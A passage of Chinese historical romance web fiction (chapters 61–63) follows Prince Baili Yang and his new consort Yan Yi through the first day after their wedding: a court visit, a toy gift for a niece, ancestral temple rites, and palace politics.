百里漾以前就知道女孩子的身体是香香软软的,而如今的这副身体真遇上了也不是他以为的那么能够自控得住。昨夜里的记忆到了后面就变得无序凌乱以及火热。如今掌下柔软的躯体也再一次提醒了他昨夜发生了什么,还有就是身体里依旧残存的悸动。 百里漾赶紧屏气凝神,将身体的悸动慢慢平复下去。察觉到怀中的人还没有醒,他怕惊扰了颜漪的安睡也不敢有什么动作。天色方亮,透过窗扉可见外面人影不时来回走动。他算着时间尚且富裕,也不着急叫醒怀中的人。毕竟,她昨日加上昨夜是真的很累的。 这么想着,百里漾忍不住又是脸上一热,似乎他昨夜里是有点没有节制了。本来大家都是头一回,而这种事情若是男方不体贴受罪的也多是女方。他在开始之前亦是这么想的,前期也是这么做的,但是渐入佳境之后,一切就开始变得不受控制了。他不由得有些懊悔,浅浅地反省了一下自己。 约莫过了小半个时辰,怀中人突然动了一下。百里漾知道她要醒了,忙低头去看,在颜漪睁开眼眸的那一瞬间让她看到自己的笑容。 人初醒来时都是混沌的,需要时间让意识回归,颜漪也是如此。看着百里漾笑眯眯地看着自己,她迷蒙了片刻很快就意识到自己的“处境”,也发觉了他们当下以如何亲密的姿势相拥在一起。 “大王,早安。”颜漪稍稍撤开了一点身子,同百里漾说了新婚后第一日的第一句话。 因为怀中人的动作使得他们原本亲密无间的身体有了一点距离,流动的空气很快将那片空出来的距离填满,百里漾有一点点不宜察觉的失落,但这并不影响他此刻的好心情,也对颜漪说了新婚之后的第一句话,“早安啊,王妃。” “大王要起了么?”颜漪问道。她其实稍微一动便感觉到了身子的不适,忆起昨夜里的混乱,面上忍不住一阵发烫。不过,他们既已成了夫妻,这便是应有之事。且昨夜里的百里漾也是足够照顾她的感受的。 自颜漪醒来之后一直在关注她的百里漾没有错过她眉头微蹙的神情,心下不由更加懊恼了些。 两人都已醒来,便要起床穿衣洗漱。一声令下,外面等候的侍女便推门而入,伺候二人洗漱更衣。寝房很大,两人各占据了一边,由各自身边的人伺候着完成这些步骤。等两人再碰面时皆已收拾打扮齐整了。 新婚第一日,百里漾和颜漪依旧着红色,但已不是成婚之日的大红,而是稍显深沉一些的朱红。百里漾的装扮看不出什么变化,依旧是束发戴冠。而颜漪最明显的变化是将脑后的青丝向上梳起挽成了妇人的发髻,身上的朱衣以鸾鸟为纹饰,一举一动皆端庄秀雅,令人惊叹。 “时辰还早,厨房准备了早膳,我们先用过一些再过去。”百里漾朝着他的新王妃伸出手,一边说道。他本意是想牵颜漪的手,可颜漪初时并不明白他的意思,明白过来后便觉得羞涩,于是迟疑。周围都是侍女与仆从,在众目睽睽之下牵手的动作无疑太过亲密了。 百里漾发觉了颜漪的为难与羞涩之后,也觉得自己的动作有些不妥当了。毕竟这才是他们成亲后的第一日,彼此之间的相处还是会有一些不自在的。在大庭广众之下牵手以示恩爱对于颜漪来说还是进展太快了些,也有些难为情。 百里漾的面上也浮现了些许尴尬与不自然,他若无其事地收回手,与颜漪并肩行走。颜漪想要落后他一步,却总是被百里漾放缓步伐持平,三两次下来,她也知道他的意思了。原来昨夜时他说的“夫妻一体、平等相待”并非虚言,是真的要将她放在与他等同的位置上。 60-70 第61章 婚后第一日 对于百里漾和颜漪这对新人来说, 昨日的大婚并不代表着他们能够清闲下来。 婚礼之后的第一日,两人皆要入宫去拜见帝后,新妇要给帝后敬儿媳妇茶。之后百里漾要带着他新娶的王妃去拜太庙, 敬告列祖列宗他娶了媳妇,新妇是谁。后面再由皇帝召集百里氏的家族成员齐聚一堂,举行一场家宴,在宴上向大家介绍新成员。如此过后,他们这一对新人才算是能够闲下来休息, 过自己的日子。 用过早膳之后, 百里漾与颜漪乘上马车便朝着皇宫赶去。路上百里漾担心颜漪即将面对帝后会紧张, 便说些话来为她缓解,也是说一些帝后大致的性情。 百里漾道:“阿娘你该是见过很多次, 她平日里很是平和,如今你成了她的儿媳, 她是最欢喜的,你不必害怕。阿爹虽是皇帝, 但多数时候面对我们时并没有什么架子, 你也不必害怕。太子长兄与太子妃长嫂都是和善人, 亦不会与你为难的。还有便是长姐,她与你最是熟悉,也不必担心她会如何。” 今日颜漪以新妇身份要见的人便是以上这些了,其余之人以她如今江都王妃的身份自是不必怕的,也不值得她多费心思。 “多谢大王,我都记住了。”颜漪心中自然是不慌的。她作为定国公的嫡长女,自小便参加过数不清的宫宴,对于帝后、东宫的两位主子以及栎阳长公主这几位湛京之中最为尊贵的人并不陌生。哪怕如今要以一种全新的身份去见这些人,她心中亦没有多少紧张与害怕。但对于来自自己新婚丈夫的贴心提醒她还是很受用的。 不知怎么的, 时隔多年百里漾再次对“大王”这个称呼感觉到了别扭,上一回有这种感觉还是他十二岁是被册封为江都王之后大家对他的称呼就变成了“大王”时,让他有一种落草为寇当山大王的错觉以及淡淡的无语。不过这次与上一回还是有些不太一样,他更多的是不想让颜漪这么叫他。但现在并不是讨论该称呼的时候,只能暂时搁置了。 不久后挂着江都王宅标志的马车在宫门前停下,在经过例行核验身份之后便放行了。两人直接去的椒房殿,帝后、太子夫妇以及栎阳长公主都在那里了。 百里漾和颜漪进到椒房殿先给帝后二人请安,因为这是成婚后新媳妇第一日见家长,所以两人行的是跪礼,很是隆重。 看着一对如此登对的璧人在面前拜下,帝后心中皆无比满意。喝过儿媳敬的茶之后,两人都给了颜漪改口红包。侍女手捧着的两个托盘上分别呈放着两个金丝红色锦囊,一个上面绣的是凤凰,一个则是飞龙,很容易就能区分出来是谁给的。 两个红色锦囊都被里面的东西撑起向上鼓出一定的弧度。百里漾猜测里面应当是金铸的钱币以及元宝、桂圆、花生一类的东西,本身的价值不重要,重要的是寓意,且给出改口红包也是帝后对于新妇的正式认可。 “谢阿爹、阿娘。”颜漪跪着接过了两个改口红包,对帝后的称呼也改成如百里漾一般。 接下来就是太子太子妃、栎阳长公主百里澄。一一与他们见过礼之后,颜漪也收到了他们送给弟媳妇的见面礼。她随了百里漾辈分,在椒房殿中是最小的那个,作为小辈,这次的见面礼就受到了四份。以太子夫妇、栎阳长公主对自己人的出手大方程度,即便此时看不出他们给的见面礼是什么,料想肯定都是好东西。但这次请安颜漪也不是只收礼物的那个,算起来她与百里漾还不是最小的那个,太子与太子妃夫妇俩身边还带着一个小不点呢。 等颜漪给椒房殿中辈分大的几位请过安之后,阿荧就自己走到了她身前,先是像模像样地给她行礼问安,“阿荧见过五婶。”这应该是太子夫妇提前教过她的。 百里氏对于后代子嗣的教养从来都很看重,阿荧作为东宫唯一的孩子,自小受到的就是最精细优质的教育,更别说她还有太子妃这位出身禹州梁氏的母亲亲身教导,言行举止仪态都很到位。只不过她到底年纪还小,可爱软萌的一小人做起这些规矩动作来总透出一股小孩子装大人的感觉,黑溜溜的眼睛露出纯真无邪的好奇,歪着脑袋想了想,随即说道:“五婶好漂亮,阿荧好像在哪里见过你。” 百里漾:“……”好生耳熟的搭讪话术,从阿荧口中说出来总有一种奇异的别扭感。阿荧当然没有这种意思了,是他条件反射过度了。在场的其余人对阿荧说的话并没有什么多余的反应,童言童语听了让人不禁露出笑容。 太子妃此刻面上亦露出了些笑意,同女儿解释道:“你之前见过好几次五婶的,只是你不记得了。” 颜漪不是一般的贵女,定国公是皇帝信赖倚重的重臣,定国公府与天家百里氏的关系也密切,从小到大她有太多的机会见到百里氏的成员了,太子妃在嫁入东宫之前与颜漪亦是见过许多面的。阿荧虽小,可每年的宫宴也是会参加路面的,她当然是见过颜漪的。 人都是喜欢漂亮的事物,小孩子在这一方面会表现得更为的纯粹和极致。颜漪从小就是美人胚子,长大之后更是湛京之中公认的大美人。阿荧毕竟是小孩子,她仅见过颜漪几次。但这几次之中不管每次她是几岁、是什么状态,瞧见颜漪后就睁着一双大眼睛盯着人家看,眼睛都不想眨一下的,而且每次都是她自己先凑到人面前去的。也是件神奇事,因为年龄所限,阿荧每次见过颜漪之后都不会记得,偏偏下次又能精准主动凑过去。 太子妃回想自己女儿那时的模样觉得是有些痴相的,这种事情她也不太好意思在人家正主面前说出来。 阿荧还真的很认真地用小脑袋回想了一下,可惜无果,她就是记不得了。不过这并不妨碍她对颜漪这位新五婶的好感,依旧是凑过去问她,目光中充满期待和欢喜,“阿娘说五叔娶了五婶之后,阿荧就可以经常见到五婶了,是么?” “是的。”颜漪矮身下来,视线与阿荧平直,拿出准备好的见面礼给阿荧,“这是五婶送给阿荧的礼物,请阿荧收下好么?” 袋子是棉麻所制,长高都将近一尺,显然里面装的是一个大家伙——一只憨态可掬的胖头橘猫玩偶娃娃,这也是颜漪向百里漾讨教来的主意。 阿荧是东宫唯一的孩子,也是如今皇帝的孙辈之中唯一一个册封了郡主封号的,哪怕她现在只是一个几岁的小孩子,颜漪在对待她的问题上也需要投入足够的重视。且如此玉雪可爱的孩子,乖巧懂事,谁又能不喜爱呢? 今日颜漪作为新妇见到唯一的小辈就是阿荧,对于送什么给阿荧作为见面礼她有些拿不定主意。若是按照规矩惯例来送自然是不会出错的,可颜漪并不想如此。阿荧的身份以及她受到的宠爱就注定了她并不缺金银玉器这些贵重之物,送这类东西作为见面礼,她会收下但未必会有多喜欢。 颜漪家中便有一妹妹,平日她也带过孩子,自然知晓这般年纪的孩子一般会喜欢什么。她心中已经有了几个选项,可谨慎一些还是问一问百里漾有什么更好的主意。 当时是在入宫的马车之上,颜漪将自己准备好的几个备选方案都向百里漾说了,请他为自己拿个主意。她准备的几个方案都很好,基本上都是如今备受湛京中权贵的孩子们喜欢的玩具,阿荧受到了也会喜欢。 但是吧,孩子天性除了好玩还有一些小小的虚荣心。若是手上有一个别人都没有的,走在孩子群中都是最靓的那个崽,别人都只能巴巴的羡慕。这种东西对于阿荧这个年纪的孩子来说才是最好的礼物。但在短时间内创造一种新颖且有趣的玩具对于颜漪来说太有难度,百里漾想到自己回湛京时送给阿荧的毛绒玩偶,听太子说阿荧对它一直爱不释手,晚上都要抱着一起才肯睡。 在今日之前百里漾就想到过见面礼的事情,提前准备了一个新造型的毛绒玩偶备用。若是颜漪自己准备好了,他便不提,待下次有机会再送给阿荧。可如今自己的王妃问了,他便拿了出来,为颜漪提供一个新的选项。 当时百里漾拿出如此新颖别致的橘猫玩偶出来时,颜漪很是愣了一下,她也是生平头一回见到造型如此奇异的玩偶,胖橘猫眯着眼睛挠下巴的神态很生动,让人眼前一亮不说,心里的喜爱油然就冒出来了。 颜漪是学过画的,许多名家也喜欢画猫,将它们的各种神态都能很好地捕捉并表现在画作之上,她见过很多。但如同这只橘猫玩偶这般表现形式的,她却是头一回见到,十分新奇,不由好奇道:“此物,大王是去何处得来的?我从来未曾见过,瞧着是如此的有趣。” 百里漾见她一副好奇又喜欢的样子,干脆将玩偶塞到她手上,有些得意道:“有趣吧,我使绣娘做的。之前回京时我送了一只别的模样的给阿荧,她可喜欢了。这只她也必定会喜欢的。” 小孩子都是抵抗不了可爱事物的。这种Q版形式的玩偶在大衍可是从来没有的,保准让小孩子一见到了就移不开眼睛,非得撒泼打滚让父母给买一个才罢休。 第62章 祭祖 “想不到大王竟有如此奇思妙想。”颜漪摸着橘猫玩偶柔软的躯体, 上面毛茸茸细滑的触感很舒服。同时看着因为一只玩偶而显出几分自得的百里漾她觉得神奇又有些许好笑,没想到他竟然也有如此孩子气的一面,眼前的百里漾仿佛也成了一个大孩子一般。 百里漾得意过了, 觉察到颜漪看他的目光之中还带着些不可思议,他后知后觉反应过来自己现在的身份和形象,避开王妃眼里的探究,掩饰性地咳了一声,解释道:“以前曾经见过, 觉得有意思便记下来了, 偶尔想起时会使绣娘去做些出来。”他总不能跟颜漪说自己前世是一名女子, 这种形象的玩偶也是在前世看多了记下来的吧。 “很可爱。”颜漪笑着夸赞了一句。她只当这是百里漾的一个小爱好,虽然这个小爱好放在江都王身上是那么的令人不可思议以及违和, 不过,这确实很可爱不是么? 百里漾判断的一点错都没有, 阿荧嫩生生地道谢之后收下她五婶送的见面礼。这见面礼对与阿荧来说有点大,她只能抱在怀里, 感受到了熟悉的柔软触感, 小脑瓜里忽然就冒出来一个猜测, 葡萄似的黑亮眼睛里顿时涌现了惊喜。她先是看看面前的五婶,又去看五婶身边的五叔,见他笑着对她微微点头,面上更加欢喜了。 猜测成真,阿荧的两只小胖手下意识地收紧一些抱住怀里的见面礼,稚嫩软萌的小嗓音里满是压抑不住的雀跃和欢喜,她问颜漪,“五婶,我现在可以打开来看看么?” “当然可以, 这礼物已经是你的了。快打开,让五叔看看五婶给你送了什么?”百里漾先回答道。他知道阿荧已经迫不及待了,这种时候怎么能扫孩子的兴呢? 百里澄这时也出声说道:“是呢,姑姑也想看看你五婶送了什么好东西给你。” 虽然有姑姑、五叔两人的应是,但阿荧并没有立即打开怀抱的棉麻袋。她先是往太子太子妃所在的方向看去,用目光征询了父母亲的意见,得到允许的回复之后还是没有动手,迈着小步子哒哒哒地跑向帝后二人,向他们展示自己收到的见面礼。 皇后满脸慈爱,一只手轻抚阿荧的背脊,轻声细语道:“阿荧打开吧,也让祖母看看。” 阿荧这才打开,很快从棉麻袋里掏出了一只通体胖乎乎的橘猫玩偶,顿时眼睛都睁大了,欢喜地抱在怀里,又拿在手中看了又看。 “这是布偶么?”皇后离得近,头一回见到这么奇特的布偶,不由惊奇。得知阿荧手里还有百里漾回京之时送的一个,顿时就知道这见面礼是怎么回事了。看得出来这对新婚小夫妻婚后相处得很是融洽,这样就很好,让人能够放心得下来。 “是。”阿荧大声肯定回答,再次向颜漪表达感谢,眼睛都笑弯了,“谢谢五婶,这个礼物阿荧很喜欢,特别的喜欢。”然后她又对太子妃说,“阿娘,我要把它们都放在我的枕头旁边陪着我睡觉。” 皇帝乍见到这种造型的布偶也觉得稀奇,问阿荧拿过来捧在手里看了几下,瞧见阿荧确实很喜欢,对颜漪说道:“你有心了。” 百里澄对这个造型奇异的玩偶也颇感兴趣,于是这只橘猫玩偶就从皇帝的手上转到了她的手上。她两手捧着,很认真地端详了两下,最后还伸出右手的食指戳了戳胖猫脸上的小酒窝,眉头微蹙,眼眸里又闪着些趣味的光,面上的神情却有些淡。 她这副颇为矛盾的模样逗乐了百里漾,有些想笑却不敢,只眼睛里泄露出了点笑意,却冷不丁地被百里澄点名问道:“五郎,你手下的绣娘手艺甚好,更有奇思妙想,是个人才。” “阿姐若喜欢,赶明儿我让她再做一个送到你手上。”对上长姐似笑非笑的目光,百里漾觉得自己似乎被看穿了,有一种“长姐明着是说绣娘,实则是在说他”的感觉。当着这么多人的面他当然不可能承认的,顺着长姐的话把“锅”甩到绣娘身上。 百里漾也不拆穿他,捏了两把后把橘猫布偶还给了一直眼巴巴看着的阿荧。 早膳是在椒房殿中一道用的,用完了早膳皇帝便先离开了。这一家子人均站在权力的顶峰,平素各自也都事情干。皇帝离开后,太子一家三口稍坐了会儿也向皇后告辞离开,百里澄其次,最后才是百里漾与颜漪这小两口。 “行了,你们也不必陪我了。”皇后算了算时辰,对下首的幼子与儿媳说道,“宗正的人已经在等着了,你们该过去了。” 新婚第一日新妇除了要拜见公婆还要去敬拜太庙的列祖列宗。虽说成婚当日宗正已当场将颜漪的名字写入了百里氏的族谱之中,但也只是一个相对简约的仪式,真正要将此事落实还是要亲自王太庙走一趟的。 百里氏的太庙就处出在皇城之中,距离并不算远。百里漾与颜漪从椒房殿中出来之后弃辇选择步行过去。他对着颜漪说道:“阿爹阿娘还是很喜欢你的。” 方才在椒房殿之中,帝后对颜漪的态度如何,明眼人一瞧就能够看得出来。百里漾将其归为两口子盼儿媳多年终于达成所愿后的欢喜,心中也为颜漪高兴,不过这一点他并没有表现出来。 “大王是吃醋了么?”颜漪问道。成亲之后,经历了昨夜又加上今日的橘猫布偶之事,他们的关系在无形之中再次拉近了不少,现在都能直接对着百里漾打趣了。 “……”百里漾绝对不会承认自己在用早膳时看到食案上的菜品几乎没一样是自己爱吃的之时朝皇后投去了哀怨的小眼神的。他也没有想到自己这无形的小怨念还被身边的颜漪发现了。好在太庙就在眼前了,百里漾转移话题,“荣王叔已经候着了。” 颜漪抬眼一看,一座巍峨的殿宇耸立在眼前,庄严厚重的金漆匾额是严肃板正的“太庙”二字。殿前的道路两旁立有持戟卫士,殿门前的台阶之上立着一位同样身着庄重礼服的中年男子,看其礼服规制,与百里漾是同一品级的,此人便是荣王百里桂,亦是宗正卿。 双方都看见了彼此,互相朝对方走去。百里漾带着自己的新王妃迈上太庙殿前的台阶,同荣王见礼,道:“侄儿来迟,让王叔久等了。” 荣王虽是百里漾的长辈,但从来没有什么长辈的架子,笑着捋了一把自己颌下的短须,面容之中透着几分淳朴憨厚,“不久等不久等,时间刚刚好。” “有劳王叔辛苦一趟了。”百里漾谢道。 “啥劳不劳的,总归是我们百里氏添丁进口的大喜事。身为百里家的一员,高兴还来不及,不觉得辛苦。”荣王笑呵呵道。 荣王的面相淳朴,十多年的养尊处优并没有脱去因前二三十年辛苦劳作而变得黝黑的肤色,额头上、眼角旁以及嘴角两侧的笑纹和褶皱都还在。若脱去这身衣服换上平常百姓的麻衣棉布甚至都不会有一丝违和感,往田间地头一杵,谁会相信他是如今大衍九卿之一的宗正卿,皇帝陛下的堂弟荣王百里桂呢? 荣王不仅长得朴实厚道,说出来的话也是如此,让百里漾生出淡淡的无奈以及些许的无语。百里漾余光瞧见颜漪的脸颊微红,不得不纠正道:“荣王叔,还没到添丁进口那一步呢。” 荣王龇出一口大白牙,“媳妇都娶回家了,那不是早晚的事情么?陛下与殿下都早盼着抱大胖孙子呢。你成亲了便是大人了,当早日为我们百里氏开枝散叶才是。” 饶是最近一段时间被不少人催婚催育过许多次已渐渐麻木的百里漾也不太受得住荣王如此朴实无华的“大白话”,这还是在太庙前,周围还有这么多人,而且颜漪在旁边也不知道听到这话该如何羞涩。 百里漾赶紧打断荣王的碎碎念,“王叔,时辰不早了。我们该进去祭拜祖先了。” 提到正事,荣王打住了,履行自己作为宗正卿的责任与义务,整肃衣冠之后领着二人进入太庙祭拜百里氏的先祖们。百里漾与颜漪则跟在后面进入太庙。 看了看身边垂眸似乎变得沉默的颜漪,百里漾以为她是被荣王的话“吓”到了,趁人不注意时去握住她的手,低声安慰道:“荣王叔说话向来如此,不过他并没有什么恶意,你不必太放在心上。” 说到后面,不知道怎么回事,他鬼使神差地补了一句,“我们还年轻,孩子的事情并不着急。你不要有太大压力,生女孩我也是喜欢的。”说完百里漾就发现自家王妃的脸似乎更红了,又羞又恼又是无奈地瞪了他一眼,彻底垂眸不去看他了。 “……”意识到自己又说错话的百里漾在那一瞬间有一种想打自己嘴巴的冲动,他都说了些什么啊。 此时他们已进入太庙之中,陷入了一种庄严肃穆的氛围之中,百里漾收拾了自己懊恼的情绪,开始专心祭拜。 按礼制,天子九庙。可百里氏夺得天下的时间并不长,至今坐江山的皇帝不过两代,故而整个太庙之中也不过供奉了百里氏的始祖、高皇帝及其皇后、高皇帝追尊其父母的敬祖皇帝及其皇后的神位,还有一些没有称号的祖先的灵位,使得偌大的太庙显得颇为空旷- 作者有话说:这几天不是很舒服,更得会很晚。 第63章 荣王 祭祖是有一整套仪式在的, 百里漾和颜漪只需要按照规定的步骤和要求完成即可。约莫半个时辰之后,祭拜仪式结束。两人退出了太庙,而宗正卿荣王并没有入他们一般立即离开, 还留在太庙之中处理后续的收尾工作。 百里漾站在殿前台阶的空地上回望了一眼太庙之中的荣王,看着他忙碌的身影,不由感叹道:“荣王叔也是一令人钦佩之人。”他的话将颜漪的目光吸引过来,看着他的眸中略带了些疑惑,不知他为何突发此感慨。 此时二人正在下台阶, 百里漾走在颜漪稍前面三个台阶的位置护持着她, 一面低声解释道:“荣王叔前半辈子是种田的一把好手, 没念过书,斗大的字都不识得几个。陛下前些时候还称赞他如今做宗正卿也很有样子了。换做是我恐怕也做不到他的地步。” 颜漪对荣王的事情也有几分了解, 毕竟对方是宗正卿,又是如今百里氏之中颇有份量的一员, 对百里漾的话也认可,颔首道:“荣王的确是一位了不起的人。” 当年高皇帝百里率崛起于微末, 彼时的百里家也算不上什么人丁兴旺的大家族, 高皇帝那一代活到成年的也只有他与两个堂弟。这位荣王百里桂便是高皇帝其中一位被追封为第一代荣王的堂弟之子。当初高皇帝打天下之时, 百里桂还在老家种地,期间曾经因为受到高皇帝的牵连被捉去蹲了几年大牢,后来侥幸脱逃。至高皇帝建朝大衍那年,他被高皇帝恩封为长宁侯。 百里桂的长宁侯爵位属于恩封。高皇帝在夺得天下之后对其五服之内的一些血亲都进行了恩封。不过这种恩封与高皇帝封自己的子孙不同。这种恩封并没有实际的封地,封地只是名义上归属于被封赐之人,封地治理以及封地之上的官员依旧由朝廷进行任命,被封赐之人只享有封地之上的税赋,由朝廷有司负责核算之后再发放,本人也并无实权。 彼时的这位长宁侯在大衍一众新贵宗亲之中并不显眼, 一朝乍贵之后也没有如别人般得意忘形、胡作非为,故而很长一段时间在湛京之中并没有什么存在感。兴业三年,二皇子湛谋反,牵连者众,当时折进去之人不乏勋贵宗亲,朝廷亦被皇帝清洗了一遍,之前的宗正卿也在其中,被满门抄斩。 宗正卿一职为九卿之一,负责掌管天家宗亲之事,地位特殊,向来由皇帝信赖得过的人担任,且基本上是由百里氏之中有地位有威望的亲长之人担任。可在兴业三年之后,宗室也不剩下多少人,彼时还是长宁侯的百里桂便是在这种情况之下显于人前的。 兴业四年正月,皇帝对仍留在湛京的一些血亲进行了加封,无爵赐爵,有爵则进爵。长宁侯百里桂作为与皇帝血缘较为亲近的堂弟被直接晋封为荣王。到了四月,荣王百里桂被皇帝授予宗正卿之职,负责宗正寺的一切事务,一直至如今。 谁都知道,担任宗正卿对于荣王来说无疑是一件极为艰巨的挑战。活了这么多年,荣王打交道最多的是地里的泥和禾苗,你要他说如何种田抛秧、几时收割育种,他能够说得头头是道,可是要他去做宗正卿,那他做不来。 百里漾道:“原先荣王叔便是在大司农那处任职,突然叫他去做宗正卿,他很是惶惶了一段日子。后来还是陛下说了一些勉励他的话,他才去赴任的。” 宗正卿是九卿之一,位高权重,更是一寺之长,与荣王此前所任的职务不说天差地别但差别也是极大的。荣王在此前的位置上干得好,也屡次得到过高皇帝、皇帝的称赞和赏赐,可突然让他去做宗正卿,连跨许多级,他心里很是没底。但以当时的情况,百里氏的宗室也不剩什么得用的人了,荣王也是矮子里头拔高个,不上也得上了。 皇帝对这个堂弟的品性本事如何自是知道的,他那时也知道让荣王做宗正卿确实是勉强了,可那时也只有荣王是最合适的人选。未免出乱子,皇帝点了几个能力出众之人落在荣王的手下做事,最初的两年荣王有他们参谋献策,免去了很大一部分的压力。不过不少人都看得出来皇帝点荣王任宗正卿是权宜之计,等兴业三年二皇子湛谋反那事的风波彻底平息下去,再看看宗室之中是否有更得用的人选将荣王替下去。但看了几年,宗室之中比荣王更合适的几乎没有。 朝廷九卿之中,宗正卿地位特殊是因为这职位设置的初衷就是替皇帝管理宗亲。皇帝的宗亲那都是什么人,那都是姓百里的,多桀骜不驯之辈。换了别的姓之人任宗正卿去管这群人,君臣名义在上,不说敢不敢管的问题,就是敢管,那些宗亲们也未必会服。这就需要从百里氏之中挑选一位辈分足够高亦有一定威望之人去干这件事。 前一位宗正卿就是这么选出来的,那是皇帝未出五服的一位族叔,在百里氏之中素有威望。可也就是因为太有威望了,二皇子湛谋反的事情他也掺了一脚,还鼓动了不少宗亲参与进去,最后事败虽然没有同其他宗亲一样被满门抄斩,但也被废为了庶人,第二年就病亡了。 百里漾也能够理解皇帝选荣王的原因。因为纵观如今剩下的这些百里氏宗亲之中,能出来担事的也就荣王的辈分最高,让皇帝用着也能够放心。荣王也知道自己身上肩负的担子很重,硬是咬牙抗下来了,也不知背后付出了多少努力。对于他这样的人来说,无疑是很艰难的。正是因为如此,百里漾才由衷地敬佩这位王叔。 这时代读书不易,尤其是对于生活在前二三十年的人来说。在高皇帝没有带领百里氏的族人逆天改命之前,荣王百里桂完全可以说是大字不识一个,不仅没有读过书,连竹简都没有摸过。等到了大衍建朝之后,他是有机会学读书习字了,但那时人都步入中年了,再想学已经变得无比困难。可饶是困难重重,如今的荣王显然已经克服了。如今的他做宗正卿已经让人挑不出什么大的毛病了。 因为早早就封的原因,百里漾与这位荣王叔直接的接触大大减少,不过他作为在外的诸侯王,与宗正寺的联系总归是断不了的,从每年江都那边与宗正寺的往来之中也能窥见一些荣王的变化,而彼此之间日后的联系也不会少。 百里漾忽然想到了一些有趣的事情,与颜漪分享道:“以往高皇帝还在时,每年行亲耕礼,那时候高皇帝都要领着大家下田耕地插秧。有一年,栋表兄不知怎么的对前面的黄牛格外感兴趣,一个劲地净追着人家的尾巴走了,不仅如此,他还想上手扯,将黄牛弄得不耐烦了,狂甩身子,差点没将后面的荣王叔撂进泥里。” 这件事情简直是崔栋一辈子的黑历史,参加过那次亲耕礼的人估计一辈子也都忘不掉。 颜漪不曾听说过这事,顺着百里漾的话也能够想象到那时是如何一番慌乱又好笑的景象,不禁莞尔,“想不到栋表兄还有这一面。”以前她称呼崔栋都是“崔都尉”,与百里漾成亲之后,大家都是自家人,她自然也随着百里漾叫了。 百里漾听她换了对崔栋的称呼不自觉唇角上扬,“他幼时可皮实得厉害,惹得舅舅不知道跳脚了多少回。这事我是偷偷告诉你的,可不能让他知晓是我露的他的底,否则后面他该找我算账了。” “大王放心,我必定不会泄露出去的。”颜漪笑着同他保证道。 成婚后的头一日,祭拜太庙之后,也没有了旁的要紧的事情。百里漾与颜漪在宫中用了午膳之后便离开回江都王宅去了。 从宫门处登车,一路上颜漪面容上显出了些倦色,精神也有些不振。起先她还强撑着与百里漾说话,后来百里漾发现了,想到这两日她的辛苦,不由生出几分歉意,轻声道:“从这里至王宅还有一段路,若是困了便小憩片刻,到了我会叫你的。” 许是因为百里漾的声音太过轻柔,也可能是他这两日表现出来的温柔体贴,颜漪没有强撑着,心神一放松没过多久便闭上眼睛睡过去。百里漾见状动作都变得小心翼翼,担心她睡得不舒服便小心地将一块软枕垫在她身后,见她没有被自己的动作吵醒,轻轻地松了一口气。 至江都王宅,大门已有人候着,其中一人百里漾瞧着不是很眼熟,很快认出这是颜漪身边的婢女,似乎是叫初禾的。马车内颜漪依旧在熟睡,百里漾不想惊醒她便令人直接将马车驶入王宅之中。 等颜漪醒来时,过了初醒时的那阵混沌,发现自己身在昨日的新房之中,在看外面的天色,天光显出了一点昏黄之色。周围也空荡荡的只有她一人,百里漾并不在这里。颜漪起身,半靠在床榻上,揉了揉眉心,一边叫道:“初禾。” “姑娘,您醒了。”初禾一直在寝房外面守着,听到里面的声音便进来了,上前将床帐拉开,颇有些俏皮说道,“奴婢忘了,以后改称呼您为‘王妃’了。” 习惯使然,一时之间改不过来也在情理之中。初禾自己有分寸,颜漪也不说她,在她的服侍下穿衣,一面问道:“我是如何回来的?”她只记得自己是在回来的马车上睡了过去,之后再醒来便是在此处了,身上的外衣也不知是谁除去的。 初禾很高兴回道:“车驾已至王宅,大王见您还在熟睡,不忍惊扰,令车驾直入王宅。后来也是大王亲自将您从车驾抱至寝房之内安置的。”当时的那一幕周围之人都看到了,她跟随着进入寝房,更是亲眼见着江都王如何小心细致地将王妃放至床榻之上安睡不使惊醒的。 江都王如此体贴又小心照顾着她家姑娘,怎能不令她替她家姑娘高兴。甚至江都王在临走之时还认真嘱咐她要好生照顾王妃。初禾继续说道:“大王说您这两日是累着了,让人不得前来惊扰您。” 颜漪听着初禾说百里漾如何小心照顾她地细节,脸上微微泛出了些红色,很快又隐没下去,问道:“大王现下在何处?” “大王将您安置好后便径直去了书房,一直未出来。”初禾替颜漪整理了衣服上各处的一些小褶皱,又说道,“眼下快到用膳的时辰了,厨房那边来问何时可以摆饭。” 新婚后夫妻俩第一回用膳自然是要一道的。颜漪轻轻颔首,“我先过去瞧瞧大王。” 书房之内,百里漾正在听何光宴奏事,一边翻着手底下江都送过来的简报。他已不再江都好几月,那边虽说有范国相在不会出什么乱子,可他也要对江都这几月发生的有大致的了解他手上拿着的就是范国相亲手所写的简报。 “贺大王新婚之喜。”何光宴虽说见到百里漾召他来书房时还微微有些诧异,但还是先上前贺了百里漾新婚之喜。 百里漾接受了他的贺喜,从面前摆着的盘子里抓了两块橘子大小的金饼给他,说是喜钱,人人有份,让他沾沾喜气。何光宴颇有些受宠若惊地接过了。 时下金子是稀缺之物,只在上层权贵之间流通,有时上位者也会将其打造成各种形状用来赏赐下面的人,多是金瓜子、金叶子、金花生之类,亦有金饼。能得到这类赏赐的基本都是在主君面前很得脸或是很受看重之人。 何光宴以往在江都逢年过节时得到了金瓜子、金叶子的赏赐,但金饼这么有份量的还是头一回,从中也可以看出大王对这门婚事以及对王妃都是很满意的了。他欣然收下金饼,想着大王估计就是过来一趟给他们发金饼沾沾喜气之后就离开的,结果就听到大王向他询问公事。他懵了一下,新婚第一日不陪着王妃,把他一个老头子叫来书房谈公事?但看到自家大王认真又自然的神情,他说不出什么反问的话,谈公事也行,有个勤勉的主上对他们来说也是一件好事。 于是,这么一谈就谈到了太阳即将落山。 “大王已然成婚,怕是过不了多久朝堂之上就会出现让你返回江都的声音了。”江都的事情说完了,何光宴话一转,不免忧虑道。如果可以,他当然也是希望自家大王能够一直留在湛京的,“近水楼台先得月”的道理谁都清楚,但他也知道这很难。 百里漾的语气略沉了下来,“此事怕是为期不远,我们早作准备就是。” 本来他能比其他的诸侯王多留在湛京一段时日是因为帝后想看着他在跟前成亲以及皇帝对他在围场遇刺一事的安抚与补偿,为此皇帝强行压下了其他反对的声音。可他终归是要回到江都去的,拖得了一时也拖不了一世。如果太子长兄能够顺利继位,他倒宁愿一直待在江都不回来了。 “眼下北方的离渊并不安定,以防万一,大王确实还是回江都为好。”何光宴眉头禁皱,很快又松开,“离渊虎视眈眈,将来与大衍必有一战。大王回江都坐镇,皆是振奋军心,大败离渊来犯之师,亦是大功一件。” 